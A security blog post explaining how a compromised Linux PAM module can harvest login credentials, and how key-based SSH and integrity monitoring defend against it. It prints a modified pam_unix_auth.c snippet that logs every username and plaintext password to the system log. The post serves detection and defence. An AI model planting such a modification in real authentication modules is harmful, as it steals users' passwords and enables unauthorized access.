Introduction
In our previous blog “Duality of the Pluggable Authentication Module (PAM)”, we explored the dual capabilities of Pluggable Authentication Modules (PAM). Today, we delve into one of the key security concerns surrounding PAM—credential harvesting. When PAM is compromised, it can be altered to capture and store authentication credentials. These credentials can later be exfiltrated to an attacker-controlled system (C2 server) or manually retrieved by a threat actor.
PAM decouples authentication logic from applications, allowing services such as login, gdm, sshd, and ftpd to verify user identity without implementing their own authentication checks. Whether using local passwords, LDAP, Kerberos, biometrics, or certificates, PAM ensures consistent and centralized authentication. This flexibility is achieved through its modular and pluggable design, making it easier to extend or alter—unfortunately, even for malicious purposes.
When a user attempts to log in, the PAM system (e.g., using the pam_unix module) checks their credentials and determines access permissions. These checks include verifying password validity, account expiration, and access control policies.
Key Takeaways from This Blog
- How easily PAM can be compromised to harvest credentials.
- How to detect and respond to such attacks quickly.
- The benefits of key-based SSH authentication over passwords.
Who should read this:
- Cybersecurity analysts
- Malware and threat intelligence professionals
- Incident responders
- Security operations teams
Modifying PAM for Credential Theft
MITRE ATT&CK Technique:
T1556.003 – Modify Authentication Process: Pluggable Authentication Modules
Adversaries may exploit PAM by modifying its components—such as pam_unix.so—to gain unauthorized access or steal credentials. These modules handle authentication requests from various applications. A compromised PAM module can:
- Accept predefined, attacker-controlled credentials.
- Log plaintext credentials to a file or transmit them to a remote server.
Because PAM doesn’t store passwords, values passed to it are often plaintext—making it an attractive target for attackers.
Creating a Malicious PAM Module
Let’s explore how a threat actor might modify PAM to log credentials.
From the PAM source code, in the file pam_unix_auth.c, locate the following snippet:
D(("user=%s, password=[%s]", name, p));
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
AUTH_RETURN;
Modify it to log credentials with a “DFIR” prefix:
D(("user=%s, password=[%s]", name, p));
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
pam_syslog(pamh, LOG_CRIT,
"DFIR username=[%s] password=[%s]", name, p);
name = p = NULL;
AUTH_RETURN;
Testing:
After compiling and replacing the legitimate PAM library, logging in via SSH using a password will now result in the credentials being written to /var/log/secure
Figure 1. A screenshot of the modified pam_unix.so harvesting credentials.
In the figure above, we change the password to the new password, logout and login. The modified pam is working as expected, it catches the credential and writes into the secure log file.
PAM Exploits in the Wild
In-the-wild attacks highlight the real danger:
- UNC1945 used a PAM backdoor on Solaris servers to steal credentials and facilitate lateral movement.
- UNC2891 is known to use PAM-based backdoors extensively, modifying pam_unix.so to log credentials to hidden files.
Basically, the threat actor changes the original pam_unix.so to compromise pam_unix.so on the system, so the compromised pam_unix.so will record all the successful logon credentials to a secret file.
Their target is not only focused on Oracle Solaris. In real life we also see the Linux kernel is targeted.
4. Mitigating the Risk
According to the sshd_config man-page, the PAM is involved when the authentication mode is ChallengeResponseAuthentication and PasswordAuthentication.
UsePAM Enables the Pluggable Authentication Module interface. If set to ''yes'' this will enable PAM authentication using ChallengeResponseAuthentication and PasswordAuthentication in addition to PAM account and session module processing for all authentication types. Because PAM challenge-response authentication usually serves an equivalent role to password authentication, you should disable either PasswordAuthentication or ChallengeResponseAuthentication.
PAM is triggered during ChallengeResponseAuthentication and PasswordAuthentication with this configuration:
UsePAM yes ChallengeResponseAuthentication yes PasswordAuthentication yes
To reduce attack surface, disable the password-based authentication methods:
PasswordAuthentication no ChallengeResponseAuthentication no
Use SSH Key Authentication
Switching to key-based authentication eliminates the credential exchange step where passwords are provided—rendering PAM credential harvesting ineffective.
Figure 2. A screenshot of the ssh using key authentication.
When tested with the same compromised pam_unix.so, key-based SSH authentication did not result in any credential capture.
Conclusion
Key-based SSH authentication bypasses PAM’s “auth” phase, significantly reducing the opportunity for attackers to harvest credentials. Since no password is involved in the authentication process, even if PAM is compromised or backdoored, attackers cannot intercept or capture a plaintext password.
By shifting to SSH key authentication, you mitigate these risks, ensuring a higher level of security for sensitive systems. This method provides a robust defense, making it much harder for attackers to exploit vulnerabilities within the PAM system.
Recommendations
- Enforce key-based SSH authentication wherever possible.
- Regularly audit PAM modules and hashes (sha256sum pam_unix.so) to detect unauthorized changes.
- Use file integrity monitoring (FIM) and centralized logging to detect anomalous modifications.
- Ensure private SSH keys are encrypted and securely stored.
FAQ
What is PAM and why is it important?
PAM (Pluggable Authentication Modules) decouples authentication logic from individual applications, providing centralized and consistent authentication for services like login, ssh, gdm, and ftpd. It supports various authentication methods, including passwords, biometrics, and certificates, making it highly flexible—but also a target for attackers.
How can PAM be compromised?
PAM can be compromised when attackers modify its modules, such as pam_unix.so. Once modified, these modules can log plaintext credentials, accept hardcoded attacker credentials, or transmit stolen information to a remote server. Because PAM modules often handle authentication data in plaintext during login, they offer a critical point of exploitation.
What is credential harvesting via PAM?
Credential harvesting via PAM refers to attackers modifying PAM modules to capture user login information. These credentials are typically stored locally or exfiltrated to an attacker-controlled system, enabling unauthorized access and facilitating broader network compromise.
How do attackers modify PAM modules for credential theft?
Threat actors typically alter the source code of PAM components like pam_unix_auth.c to log user credentials. For instance, by adding a logging function that records usernames and passwords to system logs, they ensure that every authentication attempt is captured. After recompiling and replacing the legitimate PAM library, every successful login can result in credentials being harvested and stored in system files like /var/log/secure.
Are there real-world examples of PAM exploitation?
Groups such as UNC1945 have used modified PAM modules on Solaris servers to steal credentials and move laterally across environments. Another group, UNC2891, is known to deploy similar PAM backdoors, not only targeting Solaris but also Linux systems, modifying pam_unix.so to log credentials into hidden files.
